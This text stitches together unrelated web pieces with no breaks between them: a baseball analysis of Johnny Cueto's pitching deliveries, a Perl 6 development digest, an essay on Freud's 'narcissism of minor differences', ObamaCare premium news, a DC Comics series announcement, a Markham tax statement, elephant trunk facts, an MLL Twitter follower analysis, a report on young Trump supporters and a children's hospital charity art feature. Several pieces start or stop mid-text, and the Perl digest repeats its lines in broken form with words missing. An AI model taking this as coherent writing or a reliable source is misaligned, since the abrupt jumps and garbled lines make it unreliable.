This is the gateway to the shimmy, and it often features Cueto suspended in his pitching motion for an uncomfortable amount of time.
The Shimmy
Approximate Times Attempted: 9
The shimmy needs no introduction.
Okay, so Cueto has many deliveries.
Do they work?
The best way to understand Cueto’s multiple deliveries is to think like a hitter. Hitters have various methods to time pitchers—maybe a toe tap or a bat waggle or a leg kick. For the most part, against a conventional pitcher, they’re able to easily time the delivery (the pitch itself might be another story). With Cueto, even getting the delivery down becomes an issue.
In the seventh inning of his most recent start against the Dodgers, Cueto threw the gamut of deliveries at Enrique Hernandez. Hernandez was timing the quick pitch (left image) and conventional twist reasonably well, so Cueto gave him a shimmy (right image).
When Hernandez was timing Cueto, he was toe-tapping just before Cueto released the ball. Look what happened when Cueto mixed in the shimmy—Hernandez is well ahead of schedule. The pitch was in the dirt and Hernandez held off, but the whole at-bat looked like a battle between Cueto’s delivery and Hernandez’s front foot. By the time Hernandez actually got around to trying to hit the baseball, it was too late—he struck out on a high fastball seven pitches in.
In an earlier start against LA, Cueto started Justin Turner off with three straight quick pitches. For the fourth pitch, Cueto busted out a hybrid twist (left) and Turner awkwardly took it. Likely noticing that, Cueto mixed things up again for the final pitch of the at-bat (right).
When Cueto follows a quick pitch with a twist (or vice versa), batters are hitting just .234 when they put the ball in play. He’s also induced a 48 percent foul ball percentage on pitches where the batter makes contact. Cueto’s obsessed with trying to keep hitters off balance.
Consider this table:
Delivery Type Average mph Fastball % Breaking Ball % Changeup % Quick 88.3 55.6 25.2 19.2 Twist 87.5 43.1 29.3 27.6
*Based on MLBAM pitch classifications
Here’s an interesting twist—pardon the pun.
Cueto actually uses his fastball significantly more often out of his quick pitch delivery. When he twists, turning his back to the hitter, he’s more likely to go off-speed, particularly with a changeup. It’s almost as if Cueto is trying to sneak the heater past hitters with his quick pitch while lulling them to sleep with off-speed stuff out of the twist. Of course, Cueto doesn’t get so rigid with pitch selection that a hitter is likely to notice, at least not without spending an inordinate amount of time charting the pitcher.
Another oddball point: When Cueto does throw his fastball (ignoring cutters) out of the twist, it travels nearly a half mph faster on average than his quick pitch fastball (93.0 to 92.6). Like we said a few weeks back: Hitting is timing. Cueto is upsetting timing.
Cueto is good for a lot of reasons, and it’s still not clear that his varied deliveries have much to do with his success. If you watch Cueto and simply ignore the twists and the shimmies and the quick pitches, you still see 94 mph fastballs on the black, bundles of weakly hit grounders, a 4.26 strikeout-to-walk ratio, and stretch work that all but eliminates the stolen base.
Then again, even if all of the deliveries are just for show, a sort of placebo effect that makes Cueto feel like he’s doing something—messing with the minds of hitters—he really isn’t, it’s working. At the very least, it’s not not working. And we have some evidence here—scant evidence, mind you—that maybe there is something more going on.
Plus, it’s just fun to watch.
References and Resources
TWEAK
Last week, Timo Paulssen implemented functionality to post-process the attributes of an object after it has already been initialized using the normal BUILD procedure: TWEAK . This will make a lot of people coming from Moose happy. However, having this new feature available now, beckons the question on what constitutes use v6.c . I’m pretty sure we will have an answer on that question next week.
Meanwhile in the Twitterverse
Zoffix Znet showed a nice graph. brian d foy is building up the suspense about a Learning Perl 6 book from O’Reilly! And Matt Trout mentioned the addition of TWEAK.
Other Core Developments
cpin provided a patch that makes duckmap preserve the structure it is mapping over.
provided a patch that makes preserve the structure it is mapping over. Zoffix Znet fixed an overflow that occurred when specifying large Num literals. He also made sure that defined() autothreads as expected (it didn’t before). Converting a string that looks like a number (but which has combining characters) now no longer works, also thanks to him.
fixed an overflow that occurred when specifying large literals. He also made sure that autothreads as expected (it didn’t before). Converting a string that looks like a number (but which has combining characters) now no longer works, also thanks to him. Jonathan Worthington fixed various race conditions that would wreak havoc in flapping NativeCall related tests.
fixed various race conditions that would wreak havoc in flapping related tests. Timo Paulssen made sure chrs() now also work on strings that look like numbers.
made sure now also work on strings that look like numbers. Christian Bartolomäus kept covering developments on the JVM backend and e.g. made sure that List.antipairs continued to work.
kept covering developments on the JVM backend and e.g. made sure that continued to work. Elizabeth Mattijsen continued to work on shaped arrays: copying one shaped array to another is now at least 10x faster, as are initializations of shaped arrays. She also worked on Map and List iterator related methods making them up to 20% faster.
continued to work on shaped arrays: copying one shaped array to another is now at least faster, as are initializations of shaped arrays. She also worked on and iterator related methods making them up to faster. And of course many other smaller fixes and improvements.
Blog Posts
Winding Down
I’m glad the past week has gone by. Please check in again next week!
If you look at some of the fiercest and bloodiest rivalries in history, what’s striking is not how different the opposing groups are, but how similar. Sure, they often hold different beliefs, but they live as neighbors, share ancestry, and hold similar customs.
In his 1930 essay “Civilization and Its Discontents,” Sigmund Freud commented on this dynamic, noting that it is frequently “communities with adjoining territories, and related to each other in other ways as well, who are engaged in constant feuds and in ridiculing each other.” Elsewhere he notes that the phenomenon is not limited to ethnic or religious peoples either: “Every time two families become connected by a marriage, each of them thinks itself superior to or of better birth than the other. Of two neighboring towns each is the other’s most jealous rival; every little canton looks down upon the others with contempt.”
If as a teenage football fan you were caught up in a cross-town rivalry with another high school, you know of which Freud speaks.
So what accounts for the peculiar hostility between groups of people that are in many ways quite alike?
Freud chalked it up to the innate human proclivity for aggression and the desire for distinct identity. To see one’s neighbors reflect and mirror oneself too much threatens a person’s unique sense of self, and superiority. It’s what political scientist Stephen Brooks calls the “uncomfortable truth of resemblance.” To alleviate this injury to one’s ego, one downplays their similarities with others and emphasizes their divergences — which can be amplified into seemingly unbridgeable rifts.
Freud called this phenomenon “the narcissism of minor differences.”
While this idea is interesting to apply to ethnic and religious conflicts, global affairs, and even local peculiarities, it’s also a revealing prism by which to examine the behavior of individuals, including our own.
The Narcissism of Minor Differences in the Modern West
For tens of thousands of years an individual’s identity was almost entirely subsumed by the tribe to which he belonged. His people — that was who he was. Each tribe felt it was superior to others, and the veracity of this claim was easily and simply determined; one village would clash with another, and whoever was stronger and craftier came out the victor. Until they battled again. A man built up his sense of worth by contributing to the strength and reputation of his people — through the provision of knowledge and meat, martial prowess, and siring children.
Ever since the end of tribal living and the rise of civilization, we have been casting about for pieces with which to assemble our sense of identity. Genealogy is no longer enough; the modern self is composed of personality, career, location, hobbies, and, most predominantly, tastes. Taste in music, in clothes, in politics — what you like and don’t like.
Modern culture and consumerism provides an avenue by which you can tweak a thousand little details of your possessions and lifestyle. You can own a rugged truck or a sports car; go Paleo or vegetarian; live like a swinging bachelor or a settled suburban dad.
Yet really standing out has become increasingly difficult; globalism has ensured that millions around the world are watching the same shows, eating at the same restaurants, and shopping at the same stores. Unique traditions, dialects, and pastimes have evaporated.
If the peoples of old trafficked in the narcissism of minor differences, we might be said to engage in the narcissism of micro differences.
Our egos fear those moments when we look at the people all around us, and catch a glimpse of this truth — the realization that while we’re Apple fans and they’re Windows people, we’re really much the same and aren’t very special after all. To keep this dissonance at bay and protect our sense of self, we must ever buttress and artificially inflate the significance of the minor differences we use to construct our identities.
This phenomenon is particularly heightened in communities that share more in common than the general population. Take the Christian college, for example. Here you’ll invariably find those students who want to make sure others know they’re not like the conservative, hardline, “conformist” Christians that walk around campus advocating for Pharisaical rules. They’re not “Christians” at all but “Christ Followers,” distinguished by their open-mindedness, subscription to Relevant Magazine, and skinny jeans.
Or travel to Utah. With 60% of the population being Latter-Day Saints, it’s hard for the average Mormon to feel unique. Thus if you cruise the highways, you’ll see lots of billboards for plastic surgery — an avenue by which a Mormon gal might make herself just a wee bit prettier than her competition. And then there’s plenty of conspicuous consumption; the Mormon dad hopes the size of his house will help him stand out in a sea of peers that look, talk, and think in very similar ways.
The same dynamic operates in non-religious communities as well, of course. You’ve got to work harder to feel unique, in say, Brooklyn’s Williamsburg neighborhood, where hipster style reigns, than you would being an artistic type in Omaha. And being a farm-to-table localvore in Portland won’t make you very special; you may need to take it up a notch, perhaps by personally visiting the farm where your chicken comes from.
The Problems With Creating an Identity that Leans Too Hard on Minor Differences
While I’ve been a little cheeky in sending up the above groups, there’s really nothing inherently wrong with adopting a lifestyle that jives with your beliefs. People have been seizing on minor differences to set themselves apart since time immemorial; tribes in the Amazon will go on and on about how different they are from a neighboring village, and even war with them over this rivalry — even though they split off from the very same bloodline just a generation prior!
And yet there are two potential problems that grow out of leaning too heavily on the narcissism of minor differences: 1) the tendency to define yourself by what you’re not, and 2) a focus on trivialities over fundamentals:
A Negative Self-Identity
Humans are naturally drawn to conflict, and latching on to minor differences to bolster our sense of self is really just a submerged form of aggression and hostility. Standing out is essentially a competition for status — one that allows us to feel distinct and superior to others.
The easiest way to achieve this separateness is to concentrate on the ways in which we are not like other people. “My tastes aren’t mainstream.” “I’ll never take a boring 9-5 job.” “I’m not close-minded.” “I’ll never settle for a mediocre life.”
By focusing on what you don’t like and who you don’t want to be, you turn people who you think exhibit those traits into a foil for yourself, a kind of adversary to push against on the road to selfhood. Drawing lines between ourselves and others has always been an effective means of building identity, even amongst those who claim the greatest tolerance; as Freud wryly notes, “It is always possible to bind together a considerable number of people in love, so long as there are other people left over to receive the manifestations of their aggressiveness.”
As Dr. Meg Jay writes in The Defining Decade, comparing yourself to others is an okay starting point in building a sense of self, but an inadequate ending point:
“Distinctiveness is a fundamental part of identity…But different is simple. Like the easiest way to explain black is to call it the opposite of white, often the first thing we know about ourselves is not what we are—but what we aren’t. We mark ourselves as not-this or not-that…But self-definition cannot end there. An identity or a career cannot be built around what you don’t want. We have to shift from a negative identity, or sense of what I’m not, to a positive one, or a sense of what I am. This takes courage.”
“Being against something is easy,” Dr. Jay tells her 20-something clients. “What are you for?”
Creating an affirmative self-definition requires moving beyond talking about the minor ways you do, or want to, differ from others, and towards staking claim to the things you really believe in and working to bring them about. Taking real action to build the life and the world you want is one of the surest ways to actually separate yourself from your peers. It’s the mark of a mature man, after all, to actually create something rather than to simply consume and complain.
A Focus on Trivialities Over Fundamentals
One of the dominating labels that nearly every red-blooded American has fought against for at least a century is that of conformist. We pride ourselves on being rugged individualists, and watch ourselves for tendencies to follow the herd. This impulse presupposes the existence of a pure strain of attainable individualism from which we might deviate; if people all walk, talk, think, and dress alike, the thinking goes, they are being compelled to and don’t have the strength to resist the pressures of mainstream culture.
But what if the thing we fear most isn’t actually conformity at all, but uniformity? That the thing we least wish to face is the fact that humans are, at the bottom, pretty much alike? I realize this is anathema to the citizens of modernity, but let’s face facts here: we all do pretty much the same things, all over the world. Nearly everyone “conforms” to a life of relationships, various levels of education, eating, sleeping, fornicating, reproducing, working, etc. Sure, some men are factory workers and some are writers, and some live in cities and some in the country, and some drive cars and some ride bikes, but most of us are doing the same categories of things.
Hanging the hat of our identities on small differences in lifestyle acts as a hedge against having to acknowledge this plainly evident uniformity. As Dr. Sam Vaknin writes in Malignant Self-Love, the narcissist of minor differences ends up attributing “to other people personal traits that he dislikes in himself…In other words, [he] sees in others those parts of himself that he cannot countenance and deny.”
For example, embracing the identity of a “cool” Christian distances oneself from “boring” close-minded Christians, while at the same time obscuring the fact that both types of believers have chosen to conform themselves to the gospel. Are they on different parts of a spectrum? Perhaps, but they’re closer neighbors than they’d like to admit.
The ironic thing about being deathly afraid of conforming is that it actually prevents us from creating a unique self that does significantly differ from that of our peers. In being unable to recognize that we are all conformists to one degree or another, and to countenance the fact that the building blocks of a human life — work, relationships, spirituality, etc. — are common to all, we choose instead to toil at the very edges of our identity and spend our days tending to trivialities.
Instead of worrying about whether we perform the human fundamentals in a slightly different way or style than others, we should simply care about doing them excellently.
Rather than worrying about the hipness of your faith life, concentrate on loving your neighbor.
Instead of caring about whether you’re a cool urban dad or an ordinary suburban one, the question should be: am I an excellent father?
Instead of fixating on whether you have a job that’s more unique than that of your peers, focus on whether you’re adding value to the world in whatever work you’re doing.
Instead of seeking after building a big house, concentrate on the structure of your integrity.
Those failures – just six of the original 23 co-ops remain – have left hundreds of thousands of people scrambling for coverage.
Meanwhile, insurers claiming big losses are leaving some state exchanges -- including Indiana University Health Plans, whose exit is expected to result in 27,000 Indiana residents losing ObamaCare plans in 2017. And companies still operating in the federal and state exchanges are raising premiums for next year.
Together, the developments are posing new challenges for Americans seeking affordable coverage, and show the highly touted overhaul of the country’s health care system is in some cases not yielding the savings President Obama once promised.
As a candidate on the campaign trail in 2008, Obama once said: “If you’ve got health insurance, we’re going to help that employer save $2,500 per family per year. … Those savings are going to be passed along to the workers.”
Nationally, though, premium hikes are expected to average 8 percent next year. Many insurance companies are seeking much more than that, for the exchange plans and those offered to employers.
Premera in Washington state is approved to charge 19 percent more next year. Rates across California will go up an average of 13 percent. Blue Cross and Blue Shield of Texas is asking to raise premiums a stunning 60 percent.
Long-time critics of ObamaCare say they saw it coming.
“That basic promise, that it’s going to make health care more affordable, it’s not making health care more affordable,” said Avik Roy, an author and Republican adviser. “It’s making health care more expensive, especially for the uninsured.”
The problem remains a risk pool with too many sick people and not enough who are young and healthy. Also, federal backstop programs, aimed at helping companies that miscalculated how much to charge, are now expired. So insurance companies need higher premiums to cover payouts to doctors and hospitals.
The alternative is pulling out of health exchanges, which many companies have been doing. In recent months Aetna, United Health Care and several Blue Cross and Blue Shield subsidiaries have announced they will be leaving many of the exchanges in 2017.
“That’s going to be the future,” said Roger Stark of the Washington Policy Center in Washington State. “What we’re seeing here is the beginning of a death spiral as far as exchanges are concerned as more companies pull out.”
In Indiana, the company pulling out of the exchange had covered 15 percent of those covered under ObamaCare. Indiana Sen. Dan Coats, a Republican, told The Washington Times this is further evidence the health care law is “collapsing before our eyes.”
The Obama administration says its signature legislation can boast plenty of successes. Twenty-million additional people are insured, whether through the exchanges, through expanded Medicaid or young adults who are able to stay on their parents’ policies. Also, the growth in health care spending nationally has slowed.
As for rising premiums, many Democrats including presidential nominee Hillary Clinton favor offering a government public option that would compete directly with for-profit insurance companies.
“If a public option could bring premiums down, primarily by paying doctors and hospitals less and having lower overhead and no profit, that would lower federal government costs,” said Larry Levitt of the Kaiser Family Foundation.
collage of previous
appearances
Pandora, the enigmatic character created by Geoff Johns that is the essential creator of the DC New 52 Universe (merging the DCU, Wildstorm and Vertigo universes/'timelines' at the end of 2011’s Flashpoint) and who appeared as an observer in every issue of the debut New 52 titles, isn’t fading from the DC spotlight any time soon.
Saturday afternoon at the Emerald City Comicon, DC announced she’ll star in her own June-debuting ongoing series Trinity of Sin: Pandora, written by Ray Fawkes (Constantine, Justice League Dark) and illustrated by Daniel Sampere.
One third of the Trinity of Sin (the others being The Phantom Stranger and The Question), she merged the three ‘timelines’ (which she implies used to be one) in order to strengthen it to better combat an impending evil invading force. In later appearances The Phantom Stranger suggests by merging the timelines she’s instead cursed them rather than strengthening them.
DC has made it clear she and the mysterious box she’s been searching for will play a major role in this year’s Trinity War, the first major New 52 event, and it’s likely this new solo ongoing series will closely tie into that event.
Trinity of Sin: Pandora is the so-far fourth new ongoing series scheduled to debut from DC in June, along with Keith Giffen, J.M. DeMatteis and Scott Kolins’ Larfleeze, Greg Pak and Jae Lee’s Batman/Superman, and Scott Snyder and Jim Lee’s yet-to-be-titled Superman series.
I am pleased to confirm that Markham has the lowest total tax rate increase of 25 GTA municipalities over the past six years.
With our city population now at 330,000, an increase of 50,000 people since 2006, along with unexpected ice storm and overall higher than average costs for winter maintenance, we approved a tax rate increase of 2.49 per cent for 2014, which represents $26.72 for the average household.
Markham’s total cumulative tax increase has been just 5.49 per cent over the past six years. This compares to over 14 per cent and 17 per cent for neighbouring communities, and 20 per cent to 33 per cent for other GTA communities.
Markham is one of the fastest growing communities in Ontario, and we provide award-winning services, like being a national leader in waste diversion, so I’m exceptionally proud at how we’ve been able to keep tax rates low.
Our success is validated by external research groups like the Frontier Centre for Public Policy which released its annual ranking on Canadian cities financial transparency and performance this month.
Markham maintained our 1st place national ranking, the same as last year.
This Local Government Performance Index measures almost 30,000 data points to assess how Canada’s 100 largest cities and all provincial and territories capitals compare against each other. It also provides extensive per person and per household data for various considerations, like taxes and debt levels to spending on transport and salaries.
We have also been distinguished by C.D. Howe Institute and the GFOA (Government Finance Officers Association).
Close-up detail of an Elephant trunk
Photo taken at Kariega Game Reserve in the Eastern Cape of South Africa by Helena Atkinson
We absolutely love this unique photo that was recently entered into the Kariega Photo Competition by Helena Atkinson. In this shot, the camera captures a wealth of detail that would normally escape the human eye. It has inspired us to share some interesting facts about the incredible trunk of the African elephant. Thank you to Helena for sharing with us.
5 Interesting Facts about the Trunk of an African Elephant
1. An elephant trunk contains 40 000 different muscles.
The human body only contains 639! This gives us an idea on the immense complexity of this amazing appendage.
2. The elephant trunk is by far the most versatile appendage on the planet
It is used to breath, drink, eat, smell, snorkel, communicate - as well as being used as a 'hand' to touch, feel, hold, grab, pull etc.
3. The trunk is both extremely delicate and extremely strong.
The African elephant has two finger-like tips at the end of it's trunk that it uses to clasp smaller objects. The trunk is so delicate it is at times used to wipe or clean their eyes. On the other hand, the trunk is an extremely powerful tool that can pull out trees and lift up to 350 kg (770 lb).
4. Elephants are either left or right-handed.
Baby elephants are born not knowing how to use their trunks, much like baby humans are unable to use their arms and hands. They often stumble over their trunks for the first couple of days, but soon their trunks grow considerably and they gain control. Interestingly, elephants show a preference between grasping objects to the left or right, in the same way that children are left or right-handed.
The tale of the tape
The first thing I wanted to look at was just a basic count of followers for each MLL team.
Team Followers New York Lizards 21,588 Boston Cannons 21,011 Denver Outlaws 18,934 Charlotte Hounds 14,848 Ohio Machine 14,778 Chesapeake Bayhawks 13,581 Rochester Rattlers 10,678 Florida_Launch 8,304 Atlanta Blaze 7,884
I haven’t followed MLL all that closely over the past few years, so I’ll refrain from too much commentary on this table. It doesn’t look like the numbers are way off what you’d expect if you combined metro population with general regional lacrosse interest. Chesapeake is the one that looks a little out of place by that measure, but again, I don’t know enough to have any opinion of why that might be.
Since the question is going to get asked, I did a quick check of the NLL team Twitter accounts. The least followed team in the NLL is Vancouver, with 11.1k followers. The most followed team in the NLL is Buffalo with 25.6k followers. So yes, NLL teams have larger social media presences than MLL teams.
How do the fan bases overlap?
The real reason that I was curious about examining the MLL data was to see what sort of overlap there was between college and pro teams that share a lacrosse fan base, in geographic terms. Put it another way: to what extent do college lacrosse fans follow the local MLL team? And of course, following a team on Twitter does not equate to fanhood, nor do all fans follow their teams, so this is less of a judgement on fan base size and more about the social media overlap.
For each MLL team, I’ve generated a quick chart that shows the local NCAA teams and, in most cases, a control NCAA team that is not local. The follower counts are the number of followers of the NCAA team’s Twitter account. The percentage is calculated by identifying how many of the NCAA team’s followers also follow the MLL team in question.
For our first example, let’s look at the NY Lizards, the team with the most Twitter followers in the MLL.
We grabbed a few of the teams from the local market for the Lizards. Of St. John’s 7,496 Twitter followers, 42% follow the Lizards on Twitter. Our control team, Michigan, shares 22% of their Twitter followers with New York (that was the big surprise of this analysis, the number of shared followers).
42% is the highest percentage of an NCAA team’s followers that also follow an MLL team. Stony Brook/New York, is second. So we can say with some certainty that New York has done the best job of capturing the local college fan base of any MLL team. Whether that was intentional or not is another story entirely.
The rest of the MLL team charts can be seen below. All of them have lower rates than New York, but there is still some significant variation. Also pay attention to the control teams in each data viz. Where Michigan shared the fewest followers with New York, that is not the case for all of these teams.
Charlotte is the case in point. Their control team actually has the highest shared follower rate. And then they’ve got 2 blueblood programs with lots of followers (Duke & UNC) in the general vicinity, but they share a paltry 15% of their followers. This may represent a huge opportunity for Charlotte to increase stickiness with fans in their geographic domain.
Atlanta has the fewest followers of any MLL team, which as we noted above, is most likely a function of the small number of lacrosse fans in their general area. The local programs, Mercer and Furman, are not exactly overflowing with social media fan support. But still, those teams do have followers, and Atlanta has not been able to capture that fan base as well as some other teams have done.
Ohio (this year’s MLL champs!) is another one of those cases where the non-local team actually out-shares a local college program. It’s neck and neck, but a higher share of Princeton’s fans follow the Machine than Ohio State. We noted in our previous article that larger programs at the big name schools are probably going to have a lot more fair weather Twitter followers. Compare that with Princeton (or even RMU); if you are following these teams on Twitter, I suspect there is a higher chance that you are a more serious lacrosse fan. That could explain the softness with Ohio State vs the other schools.
Man, the Boston/Baltimore rivalry does not quit, huh? The Cannons have done a pretty good job of capturing the local college fan base, but there is a pretty extreme drop-off between the local schools and the control team, the Maryland Terrapins (this year’s NCAA champs!).
I mentioned above, and I’ll expand a bit here, but if I had a chance to better understand one team’s social media strategy, it would be Chesapeake. How is it that a higher percentage of Denver’s Twitter followers follow the Bayhawks than Terps Twitter followers? As I mentioned before, Denver/Towson/UMBC all fall into that category where the people following their Twitter accounts are unlikely to be attracted from other sports. So we’d expect Maryland to have a lower share rate, but man, that is a lot of local lacrosse interest that is not being reached by the Bayhawks marketing spend.
You could probably just copy the above paragraph and apply it to Rochester’s numbers. The only exception is that Duke is not a lacrosse school, so I can’t explain how more of their followers follow Rochester than Cuse fans.
Not much to see here. Relative to NY/Boston, they are a bit soft with the local market. Especially for a team that has had a decent bit of MLL success and has one of the better stadium set ups in MLL.
25% of Jacksonville’s Twitter followers also follow the Florida Launch. That is all.
Consultant Hat: On
MLL attendance numbers are whatever. It’s just one number that gets cited because it’s a readily available number that is easy to understand and compare over time. Astute commenters will note that attendance is subject to a wide array of factors, so using attendance numbers to gauge the health of MLL is a fool’s errand.
Social media numbers fall into the the same category. There are a ton of factors that affect the size of an MLL team’s following, and not all of them impact or are impacted by the health of the organization.
But there is some sort of brand awareness/loyalty factor that, while hard to quantify, would be fairly strongly correlated with the health of the league or its constituent teams. There is a whole industry devoted to measuring brand value, and we aren’t going to get quantitative on the topic here.
With all those disclaimers, I think it’s fair to say that a team that added 100 lacrosse fans from their local market as Twitter followers overnight would have greater brand value than they went to bed with. What is stopping the Chesapeake Bayhawks from making a push to increase the share of Maryland followers that follow them as well? At 16%, they share 5,890 followers with the Terps. If they were able to increase that percentage from 16% to even the 35% mark (that’s the share of Hofstra followers that follow New York), you are talking about 7,400 new followers. That would immediately put them third in the league.
Is that going to make the Bayhawks a more profitable team and a stronger contender on the field? I can’t say by how much, but I’d be shocked if the answer was not yes. And all this information is public, so it’s not like we are talking about huge ad buys to make it happen (if MLL teams are willing to be a little scrappy).
Help, I need an expert!
If any of our MLL experts want to weigh in on any of this, let me know. Would love to include some insider perspective on how MLL teams approach social media. Shoot me a note on Twitter or via the site.
To Bot or not to Bot
A nagging question has plagued me the whole time I’ve been looking at this Twitter data: Bots?
There are 20 or so Twitter accounts that follow every single NCAA lacrosse program. Scanning through the names, they all seem fairly legit. I don’t think there are any bots in that list of 20 handles. But are there bots in this data set? Absolutely there are. I’m not sure how else you explain the fact that 22% of Michigan’s followers also follow the New York Lizards.
The thing that is scary is that without some real complex statistical models and algorithms (and a ton of effort), it is very hard to tell how many there are.
He had caucused for Trump in Minnesota for the very first time a few weeks earlier. Freckled and grinning, he sported a red "Make America Great Again" hat and a gray Trump t-shirt.
Rowe had some thoughts on Trump's rhetorical treatment of women, which had been dominating the news lately thanks to the Republican front-runner's comments about punishing women who have abortions. Mainly, Rowe said, it's a non-issue.
"Misogyny was an issue about maybe 60, 80 years ago," said Rowe. "That's not an issue today. There are a lot bigger fish to fry...You know, ISIS is chopping off heads. We've got 19 trillion dollars in debt."
Young men like Rowe are a common sight at Trump rallies around the country: Mostly white, they travel in packs and frequently wear Trump's signature "Make America Great Again" hats, pumping their fists and cheering loudly as protesters get hauled out by security. They document their political activity like any good millennial would, recording their outings on Snapchat, Instagram and Twitter.
They are dudes, jocks, preps and just-your-average college and high school kids. But on the campaign trail, they've come to be known simply as "Trump Bros."
"Bro," once just shorthand for "brother," is a term that today describes a white youth subculture of "fratty masculinity," as National Public Radio once politely put it. Depending on your perspective, "Bro" can either be meant as high praise (usually from a fellow khaki-wearing bro), or a derisive insult.
In dozens of interviews conducted around the country in recent months, one thing is clear: Many of them absolutely love the GOP frontrunner.
At a recent Trump event in Bloomington, Illinois, Tony Maniscalco and Ryan Poland arrived at 5:30 a.m. to line up for an 11 a.m. rally inside a chilly airport hangar on the outskirts of town.
Standing patiently with their arms draped over the fence at the front of the venue, wearing matching tie-dye muscle tees and baseball hats that read "TRUMP 2016, THERE WILL BE HELL TOUPEE," the two 18-year-old high school seniors had coveted spots with an unobstructed view of the man they called "Mr. Trump."
Trump "bros" at Donald Trump rally, outdoors CBS News / Jacqueline Alemany
Maniscalco wore a blue tie-dyed shirt with a bald eagle painted over a faded American Flag, while Poland wore a bold crimson tee featuring the American-flag-colored mane of a horse. Both shirts were purchased at a Walmart over the summer. The red-white-and-blue hats were from a Spencer's at their local mall. Even their Nike shoes were patriot themed.
"We needed to get as much Trump gear as we could, and as much America gear as we could," Maniscalco said of the inspiration behind their coordinating wardrobes.
Their reason for backing Trump was simple, and echoed the sentiments of his other fans: He isn't politically correct, and he doesn't back down in the face of criticism.
"I like Trump because he speaks the truth," Poland said.
David Portnoy, the founder of Barstool Sports -- the frat-focused sports website where the "Smokeshow of the Day" serves as the ultimate clickbait -- said Trump's appeal to young men speaks to anxiety over a creeping political correctness throughout American society.
"There is a sentiment among frat guys, lacrosse players and middle class affluent white kids that they are kind of getting persecuted lately," Portnoy told CBS News.
"You tell a joke it gets blown out of proportion. You gotta walk on eggshells. There's kind of that feeling, and Trump, he tells a joke and doesn't back down. He says things that would normally been frowned upon. At a school, a kid would get expelled. Not that it's right or wrong, but he's sort of defending a lot of the things they've been attacked for in the last five years or so."
"It's an F-U to society, who is telling us we are a bad guy because we like hooking up with girls on spring break," he added. "And they see Trump sticking up for that."
J. Camm, the managing editor of Bro Bible, another bro-focused site, said Trump's lack of policy details means little to his young supporters.
"Part of the allure of Trump is that people find him to be someone who tells it like it is and honest, although he has no specific policies to back up anything that he's actually saying," Camm said.
The appeal personality over policy was on clear display among one group of young men in Eau Claire.
A pack of seven 18- to 20-year-olds bounced up and down on their toes, eager for Trump to take the stage - think CPAC meets a Dave Matthews Band concert. They puffed out their chests and rattled off one-liners they seemed to have practiced in their dorm room mirrors, describing why they were supporting the billionaire frontrunner.
Bro 1: "He's got spine."
Bro 2: "I think money attracts money. And that's why I like Trump."
Bro 3: "I think America needs doers in the country -- not just talkers -- doers."
Bro 4: "He's not Bernie Sanders."
Bro 5: "He not any other candidate."
Bro 6: "He does him. Doesn't pretend to be anyone else, he does him."
Grant Sandberg and Matt Manas, seniors at Eau Claire's Regis High School, stood out from the pack in matching suits and baseball caps. They had decided to dress like Trump himself that night in lieu of Americana gear.
"We're not afraid to show that we enjoy being Americans, and Trump portrays being a good American," Sandberg explained.
The group of first time voters may have gathered together on this Saturday night to get "pumped," as Sandberg phrased it, but they were also in tune with the news cycle, offering detailed responses to the rocky week Trump had faced in the run-up to the Wisconsin Primary.
"We were just talking about that," Sandberg said of Trump's campaign manager Corey Lewandowski being accused of simple battery for grabbing a female reporter. "I don't know the complete story, but from what I've heard, this reporter or woman was being aggressive to Trump, and as a campaign manager that's something you don't want your candidate to go through. He did his job and that's it.
At a time when Trump has watched his favorability numbers among women tumble, these bros have come to his defense. The Eau Claire crew unanimously agreed that Trump respects women, something they said is important to them.
Manas, a young entrepreneur with a sock business whose Twitter bio reads "Bros do Bro Things" and who made a point of checking himself out in his iPhone camera in selfie mode before speaking with a reporter, piped in enthusiastically.
"I love women!" he said.
Chicago Loot Drop is a geek-centric charity that raises money to provide toys and games for the patients at University of Chicago Medicine's Comer Children's Hospital. Since 2013, their Drawing Dreams program has invited patients at Comer to collaborate with Chicago-area comic artists to bring their superhero fantasies to life.
Prints of the creations will be raffled off at booth 1294 at C2E2, while a silent auction is running for those interested in purchasing the originals. All proceeds will benefit the kids at Comer.
The Seer
Sabrina, age 15, suffers from scoliosis. She was paired with artist Tony Moy, whose work has appeared in X-Files, Dungeons & Dragons and Transfusion comic collections. His watercolor, called The Seer, shows a superhero who can read people's minds.
But Sabrina's superhero doesn't use her mental powers for her own benefit, she uses them for empathy.
"I would want to know how people feel, and to know if they felt sad or not, so that I could help them," Sabrina told Moy. She also requested a purple sparkly cape, gold leggings, purple glitter shoes and an "S" on her shirt. Moy obliged with this beautiful watercolor.
You can visit Moy at table A12 at C2E2's Artists Alley.
Mrs. Healzintien
Kylie, age 12, receives care from Comer for neuroblastoma. She was paired with artist Gabriel "Gabo" Bautista, whose work has appeared with DC Comics, Image Comics and Oni Press. An Eisner and Harvey award-winning colorist, he is currently the artist for The Life After series for Image.
"My superpower would be to cure any kinds of diseases or cancers," Kylie said. "I would point my finger and zap with my rainbow fairy dust. My first stop would be Comer Children's Hospital. I would fly into the room and heal everyone."
Bautista shows her here mid-flight, wearing a purple jumpsuit.
"Over my heart would be another heart," Kylie said, "with a bandage over it."
You can visit Bautista at table F11.
Magic Morpher
Autumn, age 10, suffers from chiari malformation and pseudotumor cerebri. She was partnered with artist and illustrator Ali Cantarella, best known for her series The Hasty Pastry.
If she were a superhero, Autumn said, she would want to have the power to transform into real or mythical creatures in order to fight crime and help the poor. Cantarella shows the Magic Morpher mid-transformation, wearing her trademark blue headband with a rainbow unicorn horn on top.
"She's a little bit Lisa Frank meets Sailor Moon," Cantarella said. "I like to try to make imaginative stuff, so if kids like it they might be inspired to do something different themselves. That's why I like working with Loot Drop."
You can find Cantarella at table K4 all weekend.
Ronaldo The Great
Aaron is just five years old and, if he were a superhero, he would want to shoot ice from his hands. Why? So he could score more goals.
Artist Rich Kunz is a high-school art teacher and a freelance artist. Thanks to a relationship with Rittenhouse Archives, his work has appeared on collectible cards for Star Wars, The Hobbit, DC Comics, Topps, Marvel Comics Cryptozoic and HBO.
"I'm a weekend warrior in terms of the convention scene," Kunz said. "I've been a high school teacher for 15 years, and before that I was a baseball coach. Comics and movies, that was always my passion when I was younger. So I sort of got back into it after I had kids."
You can visit Kunz at table J10.
Animal Healer
Ashley, age 12, was diagnosed with acute lymphoid leukemia. Her partner was Ryan Browne, best known for his over-the-top series God Hates Astronauts.
The request was simple; Ashley wanted her superhero to be able to talk to animals so she could make them feel better.
Browne shows her just as Ashley described her — dressed like Catwoman. The high-five for the hawk was his own touch. You can visit him at table N1.
